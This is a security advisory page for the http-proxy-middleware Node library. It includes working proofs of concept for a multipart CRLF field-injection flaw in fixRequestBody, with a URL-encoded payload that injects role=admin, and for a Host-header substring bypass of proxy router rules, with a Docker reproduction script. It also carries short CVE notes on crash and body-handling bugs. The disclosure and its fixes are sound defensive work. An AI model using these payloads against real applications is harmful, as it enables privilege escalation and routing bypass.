See how chimurai compares to other vendors in security performance
Summary fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF:
js // dist/handlers/fix-request-body.js function handlerFormDataBodyData(contentType, data) { const boundary = contentType.replace(/^.boundary=(.)$/, '$1'); let str = ''; for (const [key, value] of Object.entries(data)) { str += --${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n; } }
A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.
By contrast, the sibling output branches are safe: application/json uses JSON.stringify (escapes control chars) and application/x-www-form-urlencoded uses querystring.stringify (percent-encodes). Only the multipart branch lacks escaping.
Preconditions All three must hold; this narrows real-world exposure and is the basis for AC:H: 1. The proxy app populates req.body with a non-multipart parser (express.urlencoded, express.json, or text) so an injected boundary in a value is not split on input. 2. The proxied (outgoing) request is sent as multipart/form-data (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs. 3. The app calls fixRequestBody (the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key.
Note: a pure multipart-in → multipart-out flow (e.g. multer) is generally not exploitable for a new-field injection, because the proxy's multipart parser already splits the injected boundary, so req.body and the backend agree. The desync specifically requires a non-multipart input parser.
Impact When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend: - Validation / access-control bypass bypass gateway-side field checks (demonstrated below: a gateway that forbids role=admin is bypassed; backend grants admin). - Parameter tampering add or overwrite fields the backend trusts (IDs, flags, prices). - File-part injection inject a filename="..." part into the upstream multipart stream.
Proof of Concept
js // npm i http-proxy-middleware@4.0.0 (Node ESM: save as minimal.mjs) import { fixRequestBody } from 'http-proxy-middleware';
// req.body as a NON-multipart parser (express.urlencoded / express.json) yields it. // The attacker sent user=alice%0D%0A--BB%0D%0A... so this ONE field's value holds CRLF: const req = { readableLength: 0, body: { user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--' }};
// Minimal stand-in for the outgoing proxy request; capture what gets written. const out = []; const proxyReq = { h: { 'content-type': 'multipart/form-data; boundary=BB' }, getHeader(n){ return this.h[n.toLowerCase()]; }, setHeader(n,v){ this.h[n.toLowerCase()] = v; }, write(d){ out.push(Buffer.from(d)); }, };
fixRequestBody(proxyReq, req); // library rebuilds the multipart body console.log(Buffer.concat(out).toString());
Output: one input field becomes two parts; role=admin was injected via the unescaped CRLF:
--BB Content-Disposition: form-data; name="user"
alice --BB Content-Disposition: form-data; name="role" <-- injected part; never present in req.body's keys admin --BB--
req.body had a single key (user), so any gateway policy checking req.body.role passes, yet the backend's multipart parser receives role=admin. On the wire the attacker simply sends, as application/x-www-form-urlencoded: user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--
Remediation Neutralize CR/LF (and ") in keys/values before interpolation, or build the body with a real multipart encoder (e.g. FormData / form-data) instead of string concatenation. Minimal fix:
js function handlerFormDataBodyData(contentType, data) { const boundary = contentType.replace(/^.boundary=(.)$/, '$1'); const bad = /[\r\n]/; let str = ''; for (const [key, value] of Object.entries(data)) { const v = String(value); if (bad.test(key) || bad.test(v)) { throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value'); } str += --${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n; } } (Reject is preferable to silent stripping, to avoid masking malicious input.)
Summary
http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.
Details
Tested code state:
- validated on tag v4.0.0-beta.5 - corresponding commit: 339f09ede860197807d4fd99ed9020fa5d0bd358
Relevant code locations:
- src/router.ts - src/http-proxy-middleware.ts
Affected public API:
- createProxyMiddleware({ router: { 'host/path': 'http://target' } })
Code explanation:
When a proxy-table router key contains /, getTargetFromProxyTable() concatenates attacker-controlled req.headers.host and req.url into a single hostAndPath string, then accepts the route if:
ts hostAndPath.indexOf(key) > -1
That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:
txt localhost:3000/api
but the attacker-controlled host is:
txt evillocalhost:3000
and the request path is:
txt /api
The concatenated attacker-controlled string:
txt evillocalhost:3000/api
still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.
Exploit path:
1. the application enables the documented proxy-table router feature with at least one host+path rule 2. an external attacker sends an ordinary HTTP request with a crafted Host header 3. HttpProxyMiddleware.prepareProxyRequest() applies router selection before proxying 4. getTargetFromProxyTable() accepts the crafted Host + path string through substring matching 5. the request is proxied to the wrong backend
PoC
Create these files in the same working directory and run:
bash bash ./run.sh
File: run.sh
bash #!/usr/bin/env bash set -euo pipefail
SCRIPTDIR="$(cd "$(dirname "${BASHSOURCE[0]}")" && pwd)" REPOURL="https://github.com/chimurai/http-proxy-middleware.git" REPOREF="v4.0.0-beta.5" WORKDIR="$(mktemp -d "${SCRIPTDIR}/.tmp-repro.XXXXXX")" TARGETREPODIR="${WORKDIR}/repo" REPRODIR="${WORKDIR}/reproduction" IMAGETAG="http-proxy-middleware-router-bypass-poc"
cleanup() { rm -rf "${WORKDIR}" } trap cleanup EXIT
echo "[a3] cloning target repository" git clone --quiet "${REPOURL}" "${TARGETREPODIR}" git -C "${TARGETREPODIR}" checkout --quiet "${REPOREF}"
mkdir -p "${REPRODIR}" cp "${SCRIPTDIR}/Dockerfile" "${WORKDIR}/Dockerfile" cp "${SCRIPTDIR}/verify.mjs" "${REPRODIR}/verify.mjs"
echo "[a3] building reproduction image" docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGETAG}" "${WORKDIR}"
echo "[a3] running verification" docker run --rm "${IMAGETAG}" node /work/reproduction/verify.mjs
File: Dockerfile
Dockerfile FROM node:22-bullseye
WORKDIR /work
COPY repo/package.json repo/yarn.lock /work/repo/
RUN corepack enable \ && cd /work/repo \ && yarn install --frozen-lockfile
COPY repo /work/repo RUN cd /work/repo && yarn build
COPY reproduction /work/reproduction
File: verify.mjs
js import http from 'node:http'; import fs from 'node:fs'; import assert from 'node:assert/strict';
import { createProxyMiddleware } from '/work/repo/dist/index.js';
const ROUTERKEY = 'localhost:3000/api'; const CRAFTEDHOST = 'evillocalhost:3000';
function listen(server, port) { return new Promise((resolve) => { server.listen(port, '127.0.0.1', () => resolve()); }); }
function close(server) { return new Promise((resolve, reject) => { server.close((err) => { if (err) { reject(err); return; } resolve(); }); }); }
function request(path, host) { return new Promise((resolve, reject) => { const req = http.request( { host: '127.0.0.1', port: 3000, path, method: 'GET', headers: { Host: host, }, }, (res) => { let data = ''; res.setEncoding('utf8'); res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { resolve({ statusCode: res.statusCode, body: data }); }); }, ); req.on('error', reject); req.end(); }); }
const defaultBackend = http.createServer((req, res) => { res.end('DEFAULT'); });
const secretBackend = http.createServer((req, res) => { res.end('SECRET'); });
const proxyMiddleware = createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTERKEY]: 'http://127.0.0.1:3102', }, });
const proxyServer = http.createServer((req, res) => { proxyMiddleware(req, res, () => { res.statusCode = 404; res.end('NOPROXY'); }); });
try { assert.ok(fs.existsSync('/work/repo/dist/index.js')); assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));
await listen(defaultBackend, 3101); await listen(secretBackend, 3102); await listen(proxyServer, 3000); console.log('STEP start-services ok');
const baseline = await request('/api', 'safe.example:3000'); assert.equal(baseline.statusCode, 200); assert.equal(baseline.body, 'DEFAULT'); console.log(STEP baseline-route body=${baseline.body});
const crafted = await request('/api', CRAFTEDHOST); assert.equal(crafted.statusCode, 200); assert.equal(crafted.body, 'SECRET'); assert.notEqual(CRAFTEDHOST, ROUTERKEY.split('/')[0]); console.log(STEP crafted-route body=${crafted.body});
console.log('RESULT reproduced hostheaderinjection router substring match bypass'); } finally { await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]); }
This PoC starts:
- one default backend returning DEFAULT - one alternate backend returning SECRET - one proxy using:
js createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTERKEY]: 'http://127.0.0.1:3102', }, });
It then sends:
1. a baseline request to /api with Host: safe.example:3000 2. a crafted request to /api with Host: evillocalhost:3000
Observed result from the validated PoC:
- baseline request: STEP baseline-route body=DEFAULT - crafted request: STEP crafted-route body=SECRET - success marker: RESULT reproduced hostheaderinjection router substring match bypass
The PoC is considered successful only if:
1. the baseline request stays on the default backend 2. the crafted request reaches the alternate backend 3. the crafted host is not equal to the configured router host
Impact
This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted Host header.
http-proxy-middleware is vulnerable to a denial of service, caused by an UnhandledPromiseRejection error thrown by micromatch. By sending specially crafted requests to certain paths, a remote attacker could exploit this vulnerability to kill the Node.js process and crash the server.
In http-proxy-middleware before 2.0.8 and 3.x before 3.0.4, writeBody can be called twice because "else if" is not used.
In http-proxy-middleware before 2.0.9 and 3.x before 3.0.5, fixRequestBody proceeds even if bodyParser has failed.